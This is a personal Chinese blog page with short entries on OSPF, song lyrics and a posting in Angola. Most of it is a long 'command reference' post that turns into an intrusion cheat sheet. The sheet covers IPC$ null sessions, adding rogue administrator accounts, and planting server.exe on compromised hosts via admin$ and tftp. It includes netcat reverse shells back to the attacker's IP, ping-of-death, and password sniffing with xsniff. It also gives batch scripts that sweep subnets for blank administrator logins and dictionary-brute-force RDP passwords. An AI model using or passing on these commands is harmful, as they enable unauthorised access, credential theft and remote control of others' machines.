yanfei's profile海豚PhotosBlogLists Tools Help

Blog


    February 25

    OSPF的认识

    LSA详细来讲可以分6种:
    1、每个路由器都会发起。
    2、DR向area内的组员发起的。
    3、ABR向ABR发送的。
    4、ABR和ASBR发送的。
    5、ASBR从外部学到了路由通告。
    7、NSSA区域里面的ASBR学到的外部路由通告,但如果出了NSSA,将会变成LSA-5.
    NSSA 区域和 STUB区域的区别:
    STUB区域里面有个限制,不能存在ASBR。NSSA的产生就是为了弥补这一缺陷,其他的都一致。
    February 17

    被阎维文的《母亲》深深的感动

    无意中听到阎维文唱的《母亲》,被深深感动了。无论曲调还是歌词,都是上上品。当自己一个人静静的听的时候,差点热泪盈眶。
    现把歌词共享出来(自己听一句记一句)
    《母亲》
    你入学的新书包有人给你拿;
    你雨中的花折伞有人给你打;
    你爱吃的那三鲜馅有人她给你包;
    你委屈地泪光有人给你擦;
    啊 这个人就是娘;
    这个人就是妈;
    这个人给了我生命;
    给我一个家;
    啊 不管你走多远;
    无论你在干啥;
    到什么时候也离不开咱的妈;
     
    你身在那他乡处有人在牵挂;
    你回到那家里边有人沏热茶;
    你躺在那病床上有人她掉眼泪;
    你露出那笑容时有人乐开花;
    啊 这个人就是娘;
    这个人就是妈;
    这个人给了我生命;
    给我一个家;
    啊 不管你多富有;
    无论你官多大;
    到什么时候也不能忘咱的妈。
     
    February 16

    “夏”天的“春”节

     今天在车上听同事说这里没有过年的气氛,没有雪。突然意识到我们是在夏天过春节。记起了在香港机场贵宾室里的一本杂志上看到国外对中国春节的诠释。大概有几点,说的还靠谱:1、红色  2、鞭炮  3、舞龙舞狮 、灯会 4、年夜饭 5、家人团聚。其实现在看来,春节最大的作用就是家人,朋友,亲戚的团聚了,大家都辛苦忙碌的一年,聚一下,第一延续感情,第二也算是对这一年的总结,第三修生养息,为来年做准备。春节期间公司组织了不少活动,最期待的就是非洲草原探险和龙虾大餐了。
        昨天可能空调开的太大,今天起来有点着凉,不过还好,喝了点热水,没事了。
        上午到K7机房转了一下,顺手又摸了一下车。今天感觉不错,离合猛踩缓放,加油门要温柔一点。控制在一档的范围内。今天开黑色的尼桑皮卡,感觉挂挡比丰田越野舒服一些,档位比较清晰。倒档,转向,出门比较顺利。在草坪上开了一会儿后,进门,停车也不错。有了点“驾驭”的感觉了,教我车的哥们说的好“关键是控制速度,一定到在自己的可控范围内”拐弯的时候要边拐边走边调整方向。
    February 05

    安哥拉的海

    今天下午到安哥拉海边玩了一会儿,第一次见到大西洋。海水是碧绿的,非常漂亮。不足之处就是刚下过雨,海水的泡沫比较多。
    February 04

    我当爸爸了!!!!!!

    今天老婆告诉我她怀孕了,有41天了。我都有点蒙了,呵呵,我当爸爸了。这确实是无意中的事情,而且是个金猪宝宝,太好了!!
    February 01

    机房安装的小事

    今天又学到一个英语单词:screwdriver:螺丝刀。跟非洲兄弟相处的还不错,呵呵。交流方式为:手语+口语。最常见的姿态就是用手指着一个东西,说:”this",or "here" or"ok"等等。
    January 29

    状态越来越好

    晚上吃完饭新家这里没电了,打开了发电机。和同事们看了一会儿电影,然后打了一会儿乒乓球,不到半个小时就达到了目的(汗流浃背),回到自己的屋子里冲了个凉水澡,非常的舒服了。今天断水已经一天了,有点渴,只能忍着了,这是想到一杯清水简直是上帝的恩赐。不愿呆在屋子里,我不太习惯空调,还是感觉自然风最好。穿着短裤,光着上身,安哥拉这里蚊子并不多,坐在4楼的大厅里,听着许飞的《那年夏天》,夹杂着发电机轰隆的声音,徐徐的清风吹来,感觉生活很惬意,很充实。不知为什么想起了2005年去青岛旅游的日子,想到了刚到青岛的时候第一次感觉到海边的夏天,第一次从烟台坐渡轮到大连,晚上在渡轮上吃烧烤,喝啤酒,而且还可以给打电话。从大连回来的时候是白天,站在甲板上,上空有一群海鸥盘旋,等着人们的喂食,还有猎猎的海风吹拂。现在想起来,真的很羡慕青岛的生活,晚上跟朋友出来,迎着徐徐的海风,顶着月光,喝着青啤,听着大海的波涛,非常有生活气息。
    January 26

    安哥拉,我来了!

    2007年1月23日的飞机,24日到的安哥拉,今天刚倒过时差来。这里比我想象的要好,现在这里正好是雨季,也不会太热。吃饭方面请的是国内的厨师,还吃的惯。
    September 04

    dos命令大全

    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use
    \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h:
    \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h:
    \\ip\c$ 登陆后映射对方C:到本地为H:
    net use
    \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名  开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time
    \\目标ip 查看对方时间
    net time
    \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view
    \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    edit 打开某文件
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at
    \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe
    \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy
    \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M
    file://IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use
    \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行[危险]
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
      -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同是发出多个连接(多线程)
    -N Prevent System Log entries on targeted server
    -U 卸载移除tscrack组件
    -f 使用-f后面的密码
    -F 间隔时间(频率)
    -l 使用-l后面的用户名
    -w 使用-w后面的密码字典
    -p 使用-p后面的密码
    -D 登录主页面
    用法示例
    tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
    tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
    @if not exist ipcscan.txt goto noscan
    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
    nscan
    @echo 3389.txt no find or scan faild
    (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
    3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
    @if not exist tscrack.exe goto noscan
    @tscrack %1 -l administrator -w pass.dic >>rouji.txt
    :noscan
    @echo tscrack.exe no find or scan faild
    (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
    hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

    5、其它:

    Shutdown.exe
    Shutdown
    \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
    fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
    fpipe -l 80 -s 1029 -r 80
    www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
    Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
    OpenTelnet.exe (远程开启telnet工具)
    opentelnet.exe
    \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
    NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

    ResumeTelnet.exe (OpenTelnet附带的另一个工具)
    resumetelnet.exe
    \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

    #10 十:

    6、FTP命令详解:

    FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

    FTP的命令行格式为:
    ftp -v -d -i -n -g [主机名] ,其中

    -v 显示远程服务器的所有响应信息;

    -n 限制ftp的自动登录,即不使用;.n etrc文件;

    -d 使用调试方式;

    -g 取消全局文件名。

    FTP使用的内部命令如下(中括号表示可选项):

    1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
    2.$ macro-ame[args]: 执行宏定义macro-name。

    3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
